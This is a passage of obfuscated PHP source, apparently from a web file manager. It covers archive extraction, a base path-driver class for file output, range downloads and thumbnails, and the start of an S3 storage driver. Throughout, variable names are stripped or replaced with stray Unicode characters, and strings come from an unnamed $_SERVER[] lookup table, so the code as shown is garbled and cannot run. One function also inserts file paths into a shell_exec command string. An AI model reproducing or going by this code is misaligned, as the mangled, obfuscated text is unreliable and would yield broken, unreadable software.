$ = isset($ޠ[$[1223]]) ? @json_decode($ޠ[$[1223]], !0) : -1; $Ф = self::unzipPart($ޠ[$[84]], $); if (!$Ф || !IO::exist($Ф[$[200]])) { show_json(LNG($[105]), !1); } $؇ʶ = $Ф[$[1222]][count($Ф[$[1222]]) - 1]; $ۧ = in_array(IO::ext($Ф[$[200]]), array($[342], $[1228], $[1229], $[1230], $[1231], $[1232])); if (!$ && ($؇ʶ[$[1223]] == -1 || $ۧ)) { $Ĕ = $Ф[$[1224]] . get_path_this($Ф[$[200]]) . $[1233]; if (!IO::exist($Ĕ)) { $򰚌 = $؇ʶ[$[1223]] == -1 ? get_path_ext(IO::pathThis($ޠ[$[84]])) : get_path_ext($Ф[$[200]]); $ = KodArchive::listContent(self::iconvSystem($Ф[$[200]]), !0, $򰚌); self::unzipErrorCheck($, array($[1234], $ޠ, $Ф)); @file_put_contents($Ĕ, json_encode($[$[1235]])); } return @json_decode(IO::getContent($Ĕ), !0); } IO::fileOut($Ф[$[200]], $, get_path_this($؇ʶ[$[32]])); die; } private static function zipFileList($, $ = false) { $⠱ =& $_SERVER[]; $ = array(); foreach ($ as $ʹ) { $ß = $ʹ[$⠱[84]]; if ($) { $ß = self::copy($ʹ[$⠱[84]], $, $⠱[844]); } else { $˱ = self::init($ʹ[$⠱[84]]); if ($˱->getType() == $⠱[106]) { $ß = $˱->path; } } if ($ß && self::local()->exist($ß)) { $[$ʹ[$⠱[84]]] = $ß; } } if (!empty($)) { return array_values($); } show_json(LNG($⠱[1198]), !1); } private static function localFilePath($מ) { $ =& $_SERVER[]; $ʏב = KodIO::parse($מ); if ($ʏב[$[33]] == KodIO::KOD_SOURCE) { $˩ = Model($[851])->fileInfoGet(KodIO::sourceID($מ)); if (!$˩[$[84]]) { show_json($[1236], !1); } $מ = $˩[$[84]]; } $ = self::init($מ); if ($->pathParse[$[1184]]) { $מ = $->pathParse[$[1184]]; $ = self::init($מ); } $붡 = $->getType(); if ($붡 == $[106] || $붡 == $[1237]) { if (!$->exist($->path)) { show_json(LNG($[105]), !1); } return $->path; } return !1; } public static function unzipPart($, $̆Ӎ = -1) { $ꪐ䮫 =& $_SERVER[]; $ѩ = IO::pathThis($); if (!$̆Ӎ || $̆Ӎ == -1) { $֑ю = array(array($ꪐ䮫[32] => $ѩ, $ꪐ䮫[1223] => -1)); $֑ю[0][$ꪐ䮫[1238]] = $֑ю[0][$ꪐ䮫[32]]; } else { if (is_array($̆Ӎ)) { $֑ю = $̆Ӎ; $ۢ˹ = count($֑ю) - 1; for ($ = 0; $ <= $ۢ˹; $++) { $ = $֑ю[$]; $Ё = get_path_this($[$ꪐ䮫[32]]) . (checkExtSafe($[$ꪐ䮫[32]]) ? $ꪐ䮫[12] : $ꪐ䮫[1239]); $֑ю[$][$ꪐ䮫[1238]] = $ꪐ䮫[1240] . intval($[$ꪐ䮫[1223]]) . $ꪐ䮫[415] . $Ё; if ($ == 0) { continue; } $֑ю[$][$ꪐ䮫[1238]] = $֑ю[$ - 1][$ꪐ䮫[1238]] . $ꪐ䮫[1241] . $֑ю[$][$ꪐ䮫[1238]]; } } } if (!is_array($֑ю) || count($֑ю) == 0) { return !1; } $ʓˆ = $֑ю[count($֑ю) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $ꪐ䮫[1242] . kodIO::hashPathSafe($) . $ꪐ䮫[8]; $ = $ . $ʓˆ[$ꪐ䮫[1238]]; mk_dir($); file_put_contents(TEMP_FILES . $ꪐ䮫[1217], $ꪐ䮫[12]); if (IO::exist($)) { return array($ꪐ䮫[200] => $, $ꪐ䮫[1222] => $֑ю, $ꪐ䮫[1224] => $); } $Þ = self::localFilePath($); if (!$Þ) { $Þ = $ . $ꪐ䮫[1243]; if (!IO::exist($Þ)) { self::copy($, $, !1, get_path_this($Þ)); } } if (!$Þ || !IO::exist($Þ)) { return !1; } if ($ʓˆ[$ꪐ䮫[1223]] == -1) { return array($ꪐ䮫[200] => $Þ, $ꪐ䮫[1222] => $֑ю, $ꪐ䮫[1224] => $); } $򪘚 = $Þ; foreach ($֑ю as $ => $) { if (!$ || $[$ꪐ䮫[1223]] == $ꪐ䮫[1221]) { break; } if (substr($[$ꪐ䮫[32]], -1, 1) == $ꪐ䮫[8]) { break; } $臖 = in_array(get_path_ext($[$ꪐ䮫[1238]]), array($ꪐ䮫[342], $ꪐ䮫[1228], $ꪐ䮫[1229], $ꪐ䮫[1230], $ꪐ䮫[1231], $ꪐ䮫[1232])); $שÌ = $ == count($֑ю) - 1 && $臖; $ = $ . $[$ꪐ䮫[1238]]; $ɳ = $ . get_path_this($[$ꪐ䮫[32]]); if (IO::exist($)) { $򪘚 = $; continue; } $ɤ = $ == 0 ? get_path_ext($ѩ) : get_path_ext($򪘚); $ = KodArchive::extract(self::iconvSystem($򪘚), $, $[$ꪐ䮫[1223]], $抈, $ɤ); self::unzipErrorCheck($, array($ꪐ䮫[1244], $, $֑ю, $, $)); if (IO::exist($ɳ)) { IO::rename($ɳ, get_path_this($)); } $򪘚 = $; } $ = $򪘚; return array($ꪐ䮫[200] => $򪘚, $ꪐ䮫[1222] => $֑ю, $ꪐ䮫[1224] => $); } private static function unzipErrorCheck($܅˜, $ѹ׸ = false) { $ =& $_SERVER[]; if ($܅˜[$[1245]]) { return !0; } write_log(array($[1246], $܅˜, $ѹ׸), $[1247]); show_json($[1248] . json_encode($܅˜[$[1235]]), !1); die; } } goto E؊; DĐ: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ȴ =& $_SERVER[]; $this->objectDriver = array($ȴ[60], $ȴ[61], $ȴ[62], $ȴ[63], $ȴ[64], $ȴ[65], $ȴ[66], $ȴ[67], $ȴ[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($搷) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($搷, $_SERVER[][8]); } return $搷; } public function iconvApp($ϵ) { return $ϵ; } public function iconvSystem($ε) { return $ε; } public function iconvTo($۽, $, $ѝ) { $ȇλ =& $_SERVER[]; if (!$۽ || !function_exists($ȇλ[69])) { return $۽; } static $ = array(); $޳Ο = $ . $ȇλ[70] . $ѝ . $ȇλ[71] . $۽; if (isset($[$޳Ο])) { return $[$޳Ο]; } if (function_exists($ȇλ[72])) { $ϥ = @mb_convert_encoding($۽, $ѝ, $); } else { $ϥ = @iconv($, $ѝ, $۽); } $ϥ = $ϥ ? $ϥ : $۽; if (strstr($ϥ, $ȇλ[73])) { $ϥ = str_replace($ȇλ[73], $ȇλ[11], $ϥ); } $[$ . $ȇλ[70] . $ѝ . $ȇλ[71] . $۽] = $ϥ; $[$ѝ . $ȇλ[70] . $ . $ȇλ[71] . $۽] = $۽; $[$ѝ . $ȇλ[70] . $ . $ȇλ[71] . $ϥ] = $۽; $[$ . $ȇλ[70] . $ѝ . $ȇλ[71] . $ϥ] = $ϥ; return $ϥ; } public function getPathInner($Ā) { $ = IO::init($Ā); return $->path; } public function getPathOuter($熁) { $ܜ =& $_SERVER[]; $ꢕ = strlen(trim($this->pathBase, $ܜ[8])); $熁 = substr(trim($熁, $ܜ[8]), $ꢕ); return $this->pathDriver . $ܜ[8] . ltrim($熁, $ܜ[8]); } public function isParentOf($Ӧ̚, $幩) { $Ђ =& $_SERVER[]; $Ӧ̚ = rtrim(strtolower($Ӧ̚), $Ђ[8]) . $Ђ[8]; $幩 = rtrim(strtolower($幩), $Ђ[8]) . $Ђ[8]; $ = strpos($幩, $Ӧ̚) === 0; return $; } public function getType() { $ =& $_SERVER[]; $Å = str_replace($[74], $[12], get_class($this)); return strtolower($Å); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ׁ, $跹) { $敬 =& $_SERVER[]; $б = rtrim($ׁ, $敬[8]) . $敬[8] . $跹; $˨ = $this->exist($б); return $˨ ? $б : !1; } public function setModifyTime($׍Ǘ, $ = '') { } public function renameObject($Ƙ, $) { $濌 = $; $Ƙ = $this->getPathOuter($Ƙ); $ = $this->pathFather($Ƙ) . $; $ć = IO::copy($Ƙ, $this->pathFather($Ƙ), REPEAT_RENAME_FOLDER, $濌); if ($ć) { IO::remove($Ƙ); } return $ć ? $ : !1; } public function tempFile($𱼤 = '', $Ҽ = '') { if (!$𱼤) { $𱼤 = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ᓡ = $ . $𱼤; @touch($ᓡ); if ($Ҽ) { file_put_contents($ᓡ, $Ҽ); } return $ᓡ; } public function tempFileRemve($޼) { @unlink($޼); @rmdir($this->pathFather($޼)); } public function mkfile($, $ = '', $؅ = REPEAT_RENAME) { } public function mkdir($, $¯ = REPEAT_SKIP) { } public function delFile($ޛ) { } public function delFolder($͠) { } public function copyFile($, $є) { } public function moveFile($ִ, $¨ݰ) { } public function remove($Ї) { if ($this->isFile($Ї)) { return $this->delFile($Ї); } return $this->delFolder($Ї); } public function rename($ڙ, $϶) { } public function exist($) { } public function findByHash($ = '', $ = '') { return !1; } public function isFile($‰鴒) { } public function isFolder($) { } public function size($) { } public function info($訫) { } public function infoSimple($) { return $this->info($); } public function infoAuth($꧋) { return $this->info($꧋); } public function infoFull($⎞) { return $this->info($⎞); } public function infoWithChildren($Ӧ) { $ =& $_SERVER[]; static $ے = array(); if (isset($ے[$Ӧ])) { return $ے[$Ӧ]; } $ = $this->info($Ӧ); if ($ && $[$[33]] == $[75]) { $ = array($[76] => 0, $[77] => 0, $[78] => 0); $this->infoChildren($Ӧ, $); $[$[76]] = $[$[76]]; $[$[79]] = array($[80] => $[$[77]], $[81] => $[$[78]]); $ے[$Ӧ] = $; } return $; } public function listPath($, $ = false) { } public function has($¨, $ǃԤ = false, $ = false) { } public function canRead($ظ) { } public function canWrite($Ѡ) { } public function getContent($) { } public function setContent($™뒶, $ = '') { } protected function infoChildren($, &$ܺ) { $팓 =& $_SERVER[]; check_abort_echo(); $ۖ = $this->listPath($, !0); $ۖ = array_merge($ۖ[$팓[82]], $ۖ[$팓[83]]); foreach ($ۖ as $㙏) { if ($㙏[$팓[33]] == $팓[75]) { $ܺ[$팓[78]]++; $ = $this->getPathInner($㙏[$팓[84]]); $this->infoChildren($, $ܺ); } else { $ܺ[$팓[77]]++; $ܺ[$팓[76]] += $㙏[$팓[76]]; } } } public function fileSubstr($и, $򧘜, $֣) { } public function listAll($з) { } public function listAllMake($؅, &$ꥼ) { $ę =& $_SERVER[]; check_abort_echo(); $ = $this->listPath($؅, !0); if (!$) { return; } $¤쮂 = array_merge($[$ę[82]], $[$ę[83]]); foreach ($¤쮂 as $) { $ = $[$ę[33]] == $ę[75]; $˵琩 = array($ę[84] => $[$ę[84]], $ę[75] => $); if (isset($[$ę[76]])) { $˵琩[$ę[76]] = $[$ę[76]]; } if (isset($[$ę[85]])) { $˵琩[$ę[85]] = $[$ę[85]]; } if (!$) { $ꥼ[] = $˵琩; continue; } $ꥼ[] = $˵琩; $׵ = $[$ę[84]]; $͘񸂁 = $this->pathDriver; if (substr($[$ę[84]], 0, strlen($͘񸂁)) == $͘񸂁) { $׵ = substr($׵, strlen($͘񸂁)); } $this->listAllMake($׵, $ꥼ); } } public function listAllSimple($棛, $ = false) { $ = $this->listAll($棛); return $this->listAllSimpleMake($, $this->getPathOuter($棛), $); } public function listAllSimpleMake($Е, $Ӧ, $͢) { $ =& $_SERVER[]; $ߊ = array(); $Ӧ = rtrim(get_path_father($Ӧ), $[8]) . $[8]; foreach ($Е as $ݿ) { $ɑš = array($[84] => $ݿ[$[84]], $[86] => $ݿ[$[84]], $[75] => $ݿ[$[75]]); if (isset($ݿ[$[76]]) && !$ݿ[$[75]]) { $ɑš[$[76]] = $ݿ[$[76]]; } if (isset($ݿ[$[85]])) { $ɑš[$[85]] = $ݿ[$[85]]; } if (is_array($ݿ[$[87]])) { $ɑš[$[86]] = $ݿ[$[87]][$[84]]; $ɑš[$[76]] = $ݿ[$[87]][$[76]]; $ɑš[$[85]] = $ݿ[$[87]][$[85]]; } else { if (substr($ݿ[$[84]], 0, strlen($Ӧ)) == $Ӧ) { $ɑš[$[84]] = substr($ݿ[$[84]], strlen($Ӧ)); } } $Ԁ = $ݿ[$[75]] ? $[8] : $[12]; $ɑš[$[86]] = rtrim($ɑš[$[86]], $[8]) . $Ԁ; $ɑš[$[84]] = $[8] . trim($ɑš[$[84]], $[8]) . $Ԁ; if (!$͢) { $㕲ɒ = explode($[8], trim($ɑš[$[84]], $[8])); $ɑš[$[84]] = $[8] . implode($[8], array_slice($㕲ɒ, 1)) . $Ԁ; } $ߊ[] = $ɑš; } return array_sort_by($ߊ, $[84]); } public function upload($, $֯, $ = false, $¸ = REPEAT_REPLACE) { } public function uploadFileByID($˒, $, $ȗڄ) { } public function uploadFileByPath($ޫ, $Ѯ, $좇 = array()) { } public function isUploadServer() { $ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[90]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($) { $͇ˎ =& $_SERVER[]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $͇ˎ[8]), trim($this->cdnHost, $͇ˎ[8]), $); } public function uploadLink($, $ = 0) { $ϵ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $ݓ = $ <= $ ? $ϵ[92] : $ϵ[93]; $ب = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ԊՁ = $this->{$ݓ}($, $ب); if ($ԊՁ) { $ԊՁ[$ϵ[94]] = $; $ԊՁ[$ϵ[95]] = $; } return $ԊՁ; } public function uploadFormData($ޤ, $ = 3600) { } public function multiUploadFormData($ඌ, $ = 3600) { } public function download($ܚ, $ݏ) { } public function ext($) { $ֹ =& $_SERVER[]; if (strpos($, $ֹ[8]) === -1) { $ʢ߇ = $; } else { $ʢ߇ = $this->pathThis($); } $ = $ֹ[12]; if (strstr($ʢ߇, $ֹ[10])) { $ = substr($ʢ߇, strrpos($ʢ߇, $ֹ[10]) + 1); $ = strtolower($); } if (strlen($) > 3 && preg_match($ֹ[96], $, $ؑ)) { $ = $ֹ[12]; } return $; } public function pathThis($ݖ) { $Ƶ˚ =& $_SERVER[]; $ݖ = str_replace($Ƶ˚[97], $Ƶ˚[8], rtrim($ݖ, $Ƶ˚[8])); $ь = strrpos($ݖ, $Ƶ˚[8]); if ($ь === !1) { return $ݖ; } return substr($ݖ, $ь + 1); } public function pathFather($џ) { $ەȡ =& $_SERVER[]; $џ = str_replace($ەȡ[97], $ەȡ[8], rtrim($џ, $ەȡ[8])); $ = strrpos($џ, $ەȡ[8]); if ($ === !1) { return $ەȡ[12]; } return substr($џ, 0, $ + 1); } public function hashSimple($°ƛ) { $ =& $_SERVER[]; if (!$°ƛ) { return md5($[12]); } $ = $this->size($°ƛ); $̆ = 200; $φ = 50; if ($ <= $̆ * $φ) { return $this->hashMd5($°ƛ) . $; } $ᜂ = intval($ / $φ); $ = $[12]; for ($ث = 0; $ث < $φ; $ث++) { $ .= $this->fileSubstr($°ƛ, $ᜂ * $ث, $̆); } $ .= $this->fileSubstr($°ƛ, $ - $̆, $̆); return md5($) . $; } public static $md5Cache = array(); public function hashMd5($ڸ) { if (!$ڸ) { return md5($_SERVER[][12]); } $ڸ = $this->iconvSystem($ڸ); if (isset(self::$md5Cache[$ڸ])) { return self::$md5Cache[$ڸ]; } self::$md5Cache[$ڸ] = $this->hashMd5Shell($ڸ); if (!self::$md5Cache[$ڸ]) { self::$md5Cache[$ڸ] = @md5_file($ڸ); } return self::$md5Cache[$ڸ]; } private function hashMd5Shell($팗) { $ă =& $_SERVER[]; if (!$팗) { return md5($ă[12]); } if (!function_exists($ă[98])) { return !1; } $ = array($ă[99], $ă[100]); $ = Cache::get($ă[101]); if (!$) { $ = BASIC_PATH . $ă[102]; $½ = md5_file($); $ = $ă[103]; foreach ($ as $) { $ = shell_exec($ . "\40\x22{$}\x22"); if ($ && substr(trim($), 0, 32) == $½) { $ = $; break; } } Cache::set($ă[101], $, 3600); } if ($ == $ă[103]) { return !1; } $ = shell_exec($ . "\40\42{$팗}\42"); $ = str_replace($ă[104], $ă[12], $); return substr($, 0, 32); } public function link($) { return $; } public function fileOut($跓, $ = false, $篂 = false, $ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$跓 || !$this->exist($跓)) { show_json(LNG($[105]), !1, $篂); } $ = $this->getType() == $[106]; $Ǘ = $GLOBALS[$[6]][$[89]][$[107]][$[108]]; $ = (double) $GLOBALS[$[6]][$[89]][$[107]][$[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($跓); $ = $[$[76]]; $ = gmdate($[110], $[$[85]]); $ڙ = $篂 ? $篂 : $this->iconvApp($[$[32]]); $ե = 0; $ʺ = $ - 1; $ߺ = $this->ext($ڙ); if (in_array($ߺ, array($[111], $[112], $[113], $[114]))) { $ߺ = $[115]; } if (in_array($ߺ, array($[116]))) { $ߺ = $[117]; } if (!$) { $ = md5($ . $this->hashSimple($跓)); } $ = $[118] . $ . $[118]; $ = get_file_mime($ߺ); $ = !0; $ = isset($_GET[$[119]]) ? !1 : !0; if ($ === !1 && !mime_support($)) { $ = $[120]; } header($[121]); header($[122] . $); $ʦ = rawurlencode($ڙ); $ʦ = $[118] . $ʦ . $[123] . $ʦ; if ($) { header($[124]); header($[125] . $ʦ); } else { if ($) { header($[126] . $ʦ); } } header($[127] . gmdate($[110], time() + 3600 * 24 * 30) . $[128]); header($[129]); header($[130]); header($[131]); if (isset($_SERVER[$[132]]) && strtotime($_SERVER[$[132]]) == $[$[85]]) { header($[133], !0, 304); die; } if (isset($_SERVER[$[134]]) && $_SERVER[$[134]] == $) { header($[135] . $, !0, 304); die; } header($[135] . $); header($[136] . $ . $[128]); header($[137] . $ڙ); header($[138]); header($[139] . $); header($[140]); if (!$ && $ߺ == $[141]) { if ($ > 1024 * 1024 * 5) { die; } $ = $this->getContent($跓); $ = Html::clearSVG($); header($[142] . strlen($)); echo $; die; } $҂ޭ = strtolower($_SERVER[$[143]]); if ($ && $҂ޭ && $Ǘ) { if (strstr($҂ޭ, $[144])) { header($[145] . $跓); } else { if (strstr($҂ޭ, $[146])) { header($[147] . $跓); } else { if (strstr($҂ޭ, $[148])) { header($[149] . $跓); } } } if ($) { header($[150] . $); } return; } if (isset($_SERVER[$[151]])) { if (preg_match($[152], $_SERVER[$[151]], $)) { $ե = intval($[1]); $ե = $ե <= 0 ? 0 : ($ե >= $ʺ ? $ʺ : $ե); if (!empty($[2])) { $ = intval($[2]); $ʺ = $ < $ե ? $ե : ($ >= $ʺ ? $ʺ : $); } } header($[153]); header("\103\157\156\164\x65\156\164\55\122\141\x6e\147\145\72\x20\142\x79\x74\145\x73\x20{$ե}\55{$ʺ}\x2f" . $); } else { header($[154]); } header($[155]); $ = !0; if ($_SERVER[$[156]] == $[157] && $ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($[158] . ($ʺ - $ե + 1)); } if ($_SERVER[$[159]] == $[160]) { return; } $麞 = 1024 * 100; $ך = 0; if ($) { $ך = intval(1000 * 1000 * ($麞 / $)); } while ($ե <= $ʺ) { $𥢝 = timeFloat(); check_abort(); $冖 = $ʺ - $ե + 1; if ($冖 <= $麞) { $麞 = $冖; } echo $this->fileSubstr($跓, $ե, $麞); $ե += $麞; if ($麞 == $冖) { $ե = $ʺ + 1; } if ($ך) { $ؚ = intval(1000 * 1000 * (timeFloat() - $𥢝)); $ = $ך - $ؚ; if ($ > 5) { usleep($); } } } } public function fileOutServer($͖, $߃ = false, $ր = false, $Ѽ = '') { $this->fileOut($͖, $߃, $ր, $Ѽ); } public function fileOutLink($붟) { header($_SERVER[][161] . $붟); die; } public function cacheMethod($, $ʤ, $ = null) { $ =& $_SERVER[]; static $ԫ = array(); $ = $ʤ ? ltrim($this->getPathOuter($ʤ), $[8]) : $[12]; $ = $[162] . $ . $[163] . rtrim($, $[8]); if (is_null($)) { $ԫ = array(); return; } if (is_null($ʤ)) { foreach ($ԫ as $ => $΂) { if (!strstr($, $[162] . $ . $[164])) { continue; } unset($ԫ[$]); } return; } if (!is_null($)) { $ԫ[$] = $; return; } $׃ = isset($ԫ[$]) ? $ԫ[$] : null; if (!is_null($׃)) { return $׃; } $׃ = $this->{$}($ʤ); $ԫ[$] = $׃; return $׃; } public function cacheMethodInfoSet($, $񊟷, $ = false) { $ܞ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($ܞ[165], $, $񊟷); $this->cacheMethod($ܞ[166], $, $񊟷 ? !1 : !0); if (is_array($)) { $this->cacheMethod($ܞ[167], $, $); } } public function fileOutImage($л, $ = 250) { $ =& $_SERVER[]; set_timeout(); if (substr($л, 0, 4) == $[148]) { $this->fileOutLink($л); } $ٕ = $this->info($л); $ҭ = $ٕ[$[32]]; $ = !1; if (isset($GLOBALS[$[168]]) && $GLOBALS[$[168]][$[84]] == $ٕ[$[84]]) { $ = $GLOBALS[$[168]][$[169]]; if (!$ٕ[$[170]]) { $ٕ[$[170]] = $GLOBALS[$[168]]; } if (isset($[$[171]])) { if ($[$[171]] <= $ && $[$[172]] <= $) { $ = !0; } } $ҭ = $ٕ[$[170]][$[32]]; } if ($ٕ[$[76]] <= 1024 * 50 || $ || !function_exists($[173]) || $ٕ[$[174]] == $[175]) { return $this->fileOut($л, !1, $ҭ); } if (isset($ٕ[$[170]][$[176]])) { $潋 = $ٕ[$[170]][$[176]]; } else { if (isset($ٕ[$[170]][$[177]])) { $潋 = $ٕ[$[170]][$[177]]; } } if (!$潋) { $潋 = md5("{$ٕ[$[32]]}\137{$ٕ[$[84]]}\137{$ٕ[$[76]]}\137{$}"); } $Ҕ = "{$潋}\137{$}\56\160\x6e\x67"; if (!($ٵό = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[178]))) { $ݵ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[179]); } else { $ݵ = KodIO::make($ٵό); } if ($ٵό = IO::fileNameExist($ݵ, $Ҕ)) { $̻ = KodIO::make($ٵό); return IO::fileOut($̻, !1, $ҭ); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $̻ = DATA_THUMB . $Ҕ; del_file($̻); if (!@file_exists($̻)) { $Ɋ = TEMP_FILES; if (!is_dir($Ɋ)) { mk_dir($Ɋ); } $ = $Ɋ . $潋 . $[10] . $ٕ[$[174]]; if (!@file_exists($)) { $ = $this->download($л, $); } ImageThumb::createThumb($, $̻, $, $ * 10); } if (!file_exists($̻) || filesize($̻) < 100) { return @file_exists($) ? IO::fileOut($) : $this->fileOut($л); } if (!($ = IO::move($̻, $ݵ))) { return IO::fileOut($̻); } del_file($̻); IO::fileOut($); } public function fileOutImageServer($, $ = 250) { $this->fileOutImage($, $); } public function fileNameAuto($, $ܱ, $ٵ = REPEAT_RENAME, $ = false) { $ꝱ =& $_SERVER[]; $߅ = $ === $ꝱ[12] ? $ܱ : rtrim($, $ꝱ[8]) . $ꝱ[8] . $ܱ; if ($ٵ == REPEAT_REPLACE || !$this->exist($߅) || $ && $ٵ != REPEAT_RENAME_FOLDER) { return $ܱ; } if ($ٵ == REPEAT_SKIP) { return !1; } $ŵ = $ꝱ[10] . get_path_ext($ܱ); $ŵ = $ŵ == $ꝱ[10] || $ ? $ꝱ[12] : $ŵ; $բ = 1; $ۃ = substr($ܱ, 0, strlen($ܱ) - strlen($ŵ)); $ = $ۃ . "\50{$բ}\x29{$ŵ}"; while ($this->exist(rtrim($, $ꝱ[8]) . $ꝱ[8] . $)) { $ = $ۃ . "\50{$բ}\x29{$ŵ}"; $բ++; } return $; } private function fileNameAutoList($, $, $܂ = false) { $ =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$[82]], $[$[83]]); $Ӗ = array_to_keyvalue($, $[12], $[32]); $Л = $[10] . get_path_ext($); $Л = $Л == $[10] || $܂ ? $[12] : $Л; $樼 = substr($, 0, strlen($) - strlen($Л)); $γ = $樼 . "\50\x30\51{$Л}"; for ($ֽ = 1; $ֽ <= count($Ӗ) + 1; $ֽ++) { $γ = $樼 . "\x28{$ֽ}\x29{$Л}"; if (!in_array_not_case($γ, $Ӗ)) { return $γ; } } return $γ; } public function listAllFiles($˟, $ٳ) { $ =& $_SERVER[]; if (empty($ٳ)) { return array(); } $כ = array_keys($ٳ); $쵆 = array(); $˟ = trim($˟, $[8]); foreach ($ٳ as $ => $ȣ) { $ = ltrim(substr(trim($, $[8]), strlen($˟)), $[8]); if (substr($, -1) == $[8]) { $ = rtrim($, $[8]) . $[8]; } $쵆 = array_merge($쵆, $this->slicePath($)); } $ = array(); foreach (array_unique($쵆) as $ƍ) { $ = array($[84] => $this->getPathOuter($[8] . $˟ . $[8] . $ƍ), $[75] => 1, $[76] => 0); if (substr($ƍ, -1) != $[8]) { $[$[75]] = 0; $ = $this->getPath($˟ . $[8] . $ƍ); if (isset($ٳ[$])) { $ = $ٳ[$]; if (isset($[$[76]])) { $[$[76]] = intval($[$[76]]); } if (isset($[$[180]])) { $[$[85]] = intval($[$[180]]); } } } $[] = $; } return $; } public function slicePath($) { $ =& $_SERVER[]; $ = explode($[8], trim($, $[8])); $ɭ = 0; do { ++$ɭ; $ǁ[] = implode($[8], array_slice($, 0, $ɭ)) . $[8]; } while ($ɭ < count($)); $ǁ[count($) - 1] = $; return $ǁ; } public function getHost() { $݃ =& $_SERVER[]; $ = parse_url(trim($this->domain, $݃[8])); $π = isset($[$݃[181]]) ? $[$݃[181]] : http_type(); $ӏ = isset($[$݃[182]]) ? $[$݃[182]] : $[$݃[84]]; if (isset($[$݃[183]])) { $ӏ .= $݃[4] . $[$݃[183]]; } return $π . $݃[184] . $ӏ; } public function pathEncode($) { $ =& $_SERVER[]; return str_replace($[185], $[8], rawurlencode($)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[][186]; parent::__construct(); $this->_init($); } public function _init($ٓ) { $this->config = $ٓ; foreach ($ٓ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $ٓ[$_SERVER[][187]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\166\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $̗ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$̗[188]] != $̗[189] || $[$̗[190]] != $̗[189]) { return !1; } $ѳ = array_map($̗[191], $[$̗[192]]); if (!is_array($ѳ)) { $ѳ = array(); } $ڴ = array($̗[193], $̗[194], $̗[195], $̗[196], $̗[197]); $ʳ֣ = array_diff($ڴ, $ѳ); return empty($ʳ֣); } public function mkfile($Ц, $ = '', $ = REPEAT_RENAME) { $Տ = $this->setContent($Ц, $); if ($Տ !== !1) { return $this->getPathOuter($Ц); } return !1; } public function mkdir($ǃ, $ = REPEAT_SKIP) { $ߋ =& $_SERVER[]; if (empty($ǃ) && $ǃ !== $ߋ[198]) { return !1; } if ($ && $this->_isFolder($ǃ)) { return $this->getPathOuter($ǃ); } $Ŋʹ = $this->setContent($ǃ, $ߋ[12], !0); if ($Ŋʹ !== !1) { return $this->getPathOuter($ǃ); } return !1; } public function copyFile($č, $Ϩ, $ߜ = array()) { $ =& $_SERVER[]; $ = $this->objectMeta($č); if (!$) { return !1; } if ($[$[76]] <= 1024 * 1024 * 200) { $̕ = $this->client->copyObject($this->bucket, $č, $this->bucket, $Ϩ, $[199], $ߜ); } else { $̕ = $this->client->multiCopyObject($this->bucket, $č, $this->bucket, $Ϩ, $ߜ); } $̕ = $̕ ? $this->getPathOuter($Ϩ) : !1; return $̕; } public function moveFile($ഹ, $ʗ) { if ($this->copyFile($ഹ, $ʗ)) { $this->delFile($ഹ); return $this->getPathOuter($ʗ); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($籢) { $̶ =& $_SERVER[]; if (!$this->exist($籢)) { return !0; } $this->listItemCache = !1; $î = $this->fileList($籢); $this->listItemCache = !0; $ϕ = trim($籢, $̶[8]) . $̶[8]; if (!empty($籢) && $籢 !== $̶[198] && !in_array($ϕ, $î[$̶[82]])) { $î[$̶[82]][] = $ϕ; } $ͮ = $this->delByBatch($î[$̶[83]]); if (!$ͮ) { return !1; } $ͮ = $this->delByBatch($î[$̶[82]]); if (!$ͮ) { return !1; } return $this->delFile($ϕ); } private function delByBatch($) { foreach (array_chunk($, 1000) as $䵎) { $ = $this->client->deleteObjects($this->bucket, $䵎); if (!$) { return !1; } } return !0; } public function rename($, $ů) { return $this->renameObject($, $ů); } public function listPath($ڥ, $ӫӑ = false) { $떟 =& $_SERVER[]; $ˊ = $this->fileList($ڥ, $떟[8], 